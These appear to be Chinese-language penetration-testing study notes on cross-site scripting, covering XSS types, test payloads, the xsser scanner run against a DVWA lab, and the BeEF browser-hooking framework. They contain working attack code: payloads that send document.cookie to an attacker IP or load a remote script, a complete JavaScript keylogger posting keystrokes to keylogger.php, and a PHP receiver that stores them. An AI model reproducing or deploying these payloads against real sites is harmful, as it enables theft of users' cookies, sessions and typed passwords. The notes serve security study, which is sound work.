XSS(厲害程度:只要js能實現什麼功能,xss就能對client形成什麼傷害):php
原理:經過web站點漏洞,向客戶端交付惡意腳本代碼,實現對客戶端的攻擊目的html
主要攻擊目的(網頁掛馬:經過XSS向前端頁面插入一個包含惡意js的連接,client訪問這個頁面時就同時請求執行了該惡意js,這個惡意js就是網頁木馬):前端
1、盜取cookie(收集存在XSS漏洞網站用戶的cookie)web
2、重定向(訪問真實頁面時直接跳轉到博彩頁面或者釣魚網站)瀏覽器
3、DDOS第三方(把須要大量算力的URL貼在存在XSS漏洞的網站上,這樣訪問該網站的用戶就都會去請求那個須要大量算力的URL,進而對該URL服務器進行CC攻擊)安全
分類:服務器
1、存儲型(持久型) ===> 將js腳本上傳至server,其餘用戶訪問server時都會加載這個js,e.g: 論壇發帖,server沒有對帖子內容進行過濾,致使上傳了一段js腳本cookie
2、反射型(非持久)(發給目標什麼東西就必須返回什麼東西,不能有變化) ===> client將惡意js發給server(client可將js包含在get請求頭中),server再將這個js返回給client,client就能在瀏覽器裏運行這個js了 ===> 經過社工方式將帶有js腳本的連接發送給受害者,e.g: http://1.1.1.1/id=js腳本app
3、DOM型(本質上也是一種反射型) ===> 沒必要將js上傳至server就能在client執行xss
POC驗證原理:
向全部變量注入js代碼進行測試
測試語句(Poc):
<script>alert('xss')</script> ===> js彈窗
<a href=http://192.168.1.1>click</a> ===> html超連接
<script>window.location='http://www.baidu.com'</script> ===> 重定向至百度
<script>new Image().src="http://172.20.163.101/admin.php?output="+document.cookie;</script> ===> 將cookie發送至172.20.163.101
<script src=http://172.20.163.101/a.js></script> ===> 自動請求http://172.20.163.101/a.js,能夠在http://172.20.163.101/a.js存放真正的惡意js腳本
網頁掛馬實現舉例(鍵盤記錄功能):
原理:
1、經過xss將網頁木馬文件連接上傳至漏洞服務器 <script src=http://172.20.163.101/a.js></script>
2、client訪問該服務器時將請求並執行http://172.20.163.101/a.js
3、a.js將client的鍵盤記錄發送至指定服務器 ("POST","http://172.20.163.101/keylogger.php",true)
鍵盤記錄器(js代碼):
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://172.20.163.101/keylogger.php",true); =====> 將記錄到的結果發送到http://172.20.163.101/keylogger.php
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
密碼接收器(php代碼,注意:此代碼只能記錄當前頁面的鍵盤記錄,不能記錄其餘網站頁面的鍵盤記錄):
<?php
$key=$_POST['key'];
$logfile="keylog.txt"; ======> 將接收到的結果存在keylog.txt文件內
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
Xsser(XSS漏洞檢測工具):
xsser --gtk ===> 圖形化界面打開方式
xsser使用舉例: xsser -u "http://172.20.163.115/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low; PHPSESSID=34554fae634cb96063453427536bda0b" -s -v --reverse-check
-u 待檢測url(注意:只寫到倒數第二級目錄)
-g 使用GET方法,使用POST方法時可換用'-p'參數。後跟要檢測的變量名稱(注意要帶上變量上一級目錄)
--cookie cookie信息
-s 顯示總共發送了多少次探測payload
-v 顯示詳細信息
--reverse-check:若是不加這個參數xsser會只發送一個hash值給服務器,看是否能將該hash原封不動的返回回來。可是這樣可能會有一個問題:服務器沒有過濾hash值,但過濾了html(js)代碼,形成了xsser顯示有xss漏洞,可是不能真正利用。加這個參數後xsser會再發送一個真正的js腳原本檢測(發送的js腳本功能爲主動鏈接本身某個端口,若是xsser發現將js發送過去後它又來鏈接本身制定端口了就說明對方存在xss漏洞)。
--heuristic 檢查被過濾的字符(有些安全設備可能會過濾掉一些特定字符,利用此參數能夠查看安全設備過濾掉了哪些字符)(原理:按個兒發送單個可能被過濾的字符,看是否有返回這個字符)
如下參數爲對提交的數據進行編碼
--Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding with semicolons
--Dwo Encode IP addresses with DWORD
--Doo Encode IP addresses with Octal
--Cem=CEM Set different 'Character Encoding Mutations'
(reversing obfuscators) (ex: 'Mix,Une,Str,Hex')
除指定變量外再對一些特殊的地方注入:
--Coo 對COOKIE進行xss注入檢測
--Xsa 對user-agent進行xss注入檢測
--Xsr 對Referer進行xss注入檢測
--Dcp 對數據控制協議進行xss注入檢測
--Dom 對DOM型進行xss注入檢測
--Ind IND - HTTP Response Splitting Induced code
--Anchor ANC - Use Anchor Stealth payloader (DOM shadows!)
beef(能夠操縱用戶的瀏覽器):
利用XSS漏洞或者中間人劫持將特定js(<script src="http://<beef服務器的IP>:3000/hook.js"></script>)插入網頁,這個js將控制客戶端瀏覽器並返連至beef服務器。
換句話說:<script src="http://<beef服務器的IP>:3000/hook.js"></script> 就是一個js木馬,beef服務器就是木馬的server端。
菜單詳解:
Details: 瀏覽器、插件版本信息;操做系統信息
Logs:記錄瀏覽器的動做,好比焦點變化、鼠標點擊、信息輸入等
Commands:命令模塊
綠色模塊:表示模塊適合目標瀏覽器,而且執行結果對客戶端不可見
紅色模塊:表示模塊不適用於當前用戶,有些紅色模塊也可正常執行
橙色模塊:模塊可用,但結果對用戶可見(CAM彈窗申請權限等)
灰色模塊:模塊未在目標瀏覽器上測試過